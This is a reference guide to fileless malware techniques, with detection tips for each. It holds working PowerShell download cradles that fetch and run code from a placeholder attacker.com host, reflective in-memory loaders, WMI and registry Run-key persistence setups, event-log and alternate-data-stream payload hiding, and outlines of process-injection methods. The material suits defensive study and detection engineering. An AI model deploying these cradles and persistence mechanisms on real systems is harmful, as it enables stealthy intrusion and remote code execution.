# Fileless Malware Techniques Comprehensive guide to fileless malware techniques used by threat actors to operate primarily in memory or abuse legitimate system components, leaving minimal forensic artifacts on disk. ## Overview Fileless malware avoids writing traditional executable files to disk. Instead, it leverages legitimate system tools, resides in memory, or stores payloads in non-traditional locations (registry, WMI repository, event logs). This makes detection by traditional antivirus significantly harder. ## PowerShell Cradles PowerShell download cradles fetch and execute code in memory without writing to disk. ### Basic Download Cradle ```powershell IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1') ``` ### Invoke-WebRequest Cradle ```powershell IEX (Invoke-WebRequest -Uri 'http://attacker.com/payload.ps1' -UseBasicParsing).Content ``` ### .NET WebClient with Proxy-Aware Settings ```powershell $wc = New-Object System.Net.WebClient $wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials IEX $wc.DownloadString('http://attacker.com/payload.ps1') ``` ### COM Object Cradle (XMLHTTP) ```powershell $h = New-Object -ComObject Msxml2.XMLHTTP $h.Open('GET', 'http://attacker.com/payload.ps1', $false) $h.Send() IEX $h.ResponseText ``` ### Staged Cradle with Variable Assignment ```powershell $s = 'http://attacker.com/payload.ps1' $d = (New-Object Net.WebClient).DownloadString($s) IEX $d ``` ### Detection - Monitor for `Net.WebClient`, `DownloadString`, `DownloadFile`, `IEX`, `Invoke-Expression` - PowerShell ScriptBlock Logging (Event ID 4104) captures the full script - AMSI (Antimalware Scan Interface) inspects scripts before execution ## .NET Reflection Loading Loading .NET assemblies directly into memory without touching disk. ### Assembly.Load from Base64 ```powershell $bytes = [Convert]::FromBase64String('TVqQAAMAAAAEAAAA...') $assembly = [Reflection.Assembly]::Load($bytes) $assembly.GetType('Namespace.Class').GetMethod('Main').Invoke($null, @(,[string[]]@())) ``` ### Assembly.Load from Downloaded Bytes ```powershell $wc = New-Object Net.WebClient $bytes = $wc.DownloadData('http://attacker.com/payload.dll') [Reflection.Assembly]::Load($bytes).GetType('Payload').GetMethod('Run').Invoke($null, $null) ``` ### Add-Type with Inline C# ```powershell $code = @" using System; using System.Runtime.InteropServices; public class Payload { [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr addr, uint size, uint type, uint protect); public static void Run() { /* shellcode execution */ } } "@ Add-Type -TypeDefinition $code [Payload]::Run() ``` ### Detection - Monitor for `[Reflection.Assembly]::Load`, `Add-Type`, `[System.Reflection.Assembly]` - Track .NET assembly loads via ETW (Event Tracing for Windows) - CLR profiling can detect dynamically loaded assemblies ## WMI Event Subscriptions WMI provides a persistent, fileless execution mechanism using event subscriptions. ### Components 1. **Event Filter**: Defines the trigger condition (WQL query) 2. **Event Consumer**: Defines the action to execute 3. **Filter-to-Consumer Binding**: Links the filter to the consumer ### Command Line Consumer Example ```powershell # Create Event Filter $filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{ Name = 'BackupFilter' EventNamespace = 'root\cimv2' QueryLanguage = 'WQL' Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" } # Create Event Consumer $consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{ Name = 'BackupConsumer' CommandLineTemplate = 'powershell.exe -nop -w hidden -enc ' } # Bind Filter to Consumer Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{ Filter = $filter Consumer = $consumer } ``` ### ActiveScript Consumer (VBScript/JScript) ```powershell $consumer = Set-WmiInstance -Namespace root\subscription -Class ActiveScriptEventConsumer -Arguments @{ Name = 'ScriptConsumer' ScriptingEngine = 'VBScript' ScriptText = 'CreateObject("Wscript.Shell").Run "powershell -nop -w hidden ..."' } ``` ### Storage Location - WMI repository: `C:\Windows\System32\wbem\Repository\OBJECTS.DATA` - Persists across reboots without files on disk - Survives most cleanup tools unless specifically targeted ### Detection - Enumerate: `Get-WMIObject -Namespace root\subscription -Class __EventFilter` - Monitor WMI activity via Sysmon Event IDs 19, 20, 21 - Parse `OBJECTS.DATA` for suspicious content ## Registry-Resident Malware Storing payloads in the Windows Registry to avoid file-based detection. ### Common Registry Storage Locations - `HKCU\Software\` - per-user persistence - `HKLM\SOFTWARE\` - system-wide persistence - `HKCU\Software\Classes\CLSID\{GUID}` - COM object hijacking - `HKCU\Environment` - environment variable abuse ### Payload Storage Pattern ```powershell # Store encoded payload in registry $payload = [Convert]::ToBase64String([IO.File]::ReadAllBytes("payload.dll")) Set-ItemProperty -Path "HKCU:\Software\AppData" -Name "Config" -Value $payload # Retrieve and execute at runtime $data = (Get-ItemProperty -Path "HKCU:\Software\AppData").Config $bytes = [Convert]::FromBase64String($data) [Reflection.Assembly]::Load($bytes).GetType('Payload').GetMethod('Run').Invoke($null, $null) ``` ### Registry Run Key with PowerShell Loader ``` HKCU\Software\Microsoft\Windows\CurrentVersion\Run "Update" = "powershell.exe -nop -w hidden -c \"$d=(Get-ItemProperty -Path 'HKCU:\Software\AppData').Config;IEX $d\"" ``` ### Detection - Monitor registry modifications via Sysmon Event ID 13 - Look for large binary data in unexpected registry locations - Scan registry values for base64 patterns and encoded executables ## Process Injection Methods Injecting code into legitimate processes to execute in their context. ### Classic DLL Injection 1. `OpenProcess` - get handle to target process 2. `VirtualAllocEx` - allocate memory in target 3. `WriteProcessMemory` - write DLL path or shellcode 4. `CreateRemoteThread` - execute in target context ### Process Hollowing 1. `CreateProcess` with `CREATE_SUSPENDED` flag 2. `NtUnmapViewOfSection` - unmap original executable 3. `VirtualAllocEx` + `WriteProcessMemory` - write malicious PE 4. `SetThreadContext` - point entry to new code 5. `ResumeThread` - execute malicious code ### APC Injection 1. `OpenProcess` + `VirtualAllocEx` + `WriteProcessMemory` 2. `QueueUserAPC` - queue shellcode to thread's APC queue 3. Code executes when thread enters alertable wait state ### Early Bird Injection 1. `CreateProcess` with `CREATE_SUSPENDED` 2. `VirtualAllocEx` + `WriteProcessMemory` in child process 3. `QueueUserAPC` before main thread initialization 4. `ResumeThread` - APC executes before any AV hooks ### Process Doppelganging 1. Create TxF transaction 2. Write malicious PE to transacted file 3. Create section from transacted file 4. Rollback transaction (file never actually written) 5. Create process from section ### Module Stomping / DLL Hollowing 1. Load legitimate DLL into target process 2. Overwrite DLL's .text section with shellcode 3. Execute from the context of a "legitimate" module ### Detection Approaches - Volatility `malfind` plugin detects injected code (RWX memory) - Monitor API calls: `VirtualAllocEx`, `WriteProcessMemory`, `CreateRemoteThread` - Check for memory regions with `PAGE_EXECUTE_READWRITE` protection - Compare on-disk module with in-memory version (stomping detection) - ETW providers for process creation and thread creation ## Event Log Storage Storing payloads in Windows Event Logs (advanced technique). ### Technique ```powershell # Write payload chunks to custom event log entries $payload = [IO.File]::ReadAllBytes("payload.dll") $chunk_size = 30000 for ($i = 0; $i -lt $payload.Length; $i += $chunk_size) { $chunk = [Convert]::ToBase64String($payload[$i..([Math]::Min($i + $chunk_size - 1, $payload.Length - 1))]) Write-EventLog -LogName Application -Source "AppUpdate" -EventId ($i / $chunk_size + 1) -Message $chunk } ``` ### Detection - Unusual event log sources with large message sizes - Base64-encoded content in event log messages - Monitor for `Write-EventLog` in ScriptBlock logs ## Alternate Data Streams (ADS) NTFS Alternate Data Streams can hide payloads alongside legitimate files. ### Storage ```cmd type payload.exe > legitimate.txt:hidden.exe ``` ### Execution ```cmd wmic process call create "C:\path\legitimate.txt:hidden.exe" ``` ### Detection ```cmd dir /r (shows ADS) streams.exe -s C:\path\ (Sysinternals) ``` ## References - MITRE ATT&CK - Fileless Techniques: https://attack.mitre.org/techniques/T1059/ - LOLBAS Project: https://lolbas-project.github.io/ - Microsoft AMSI Documentation: https://docs.microsoft.com/en-us/windows/win32/amsi/ - Volatility Framework: https://volatility3.readthedocs.io/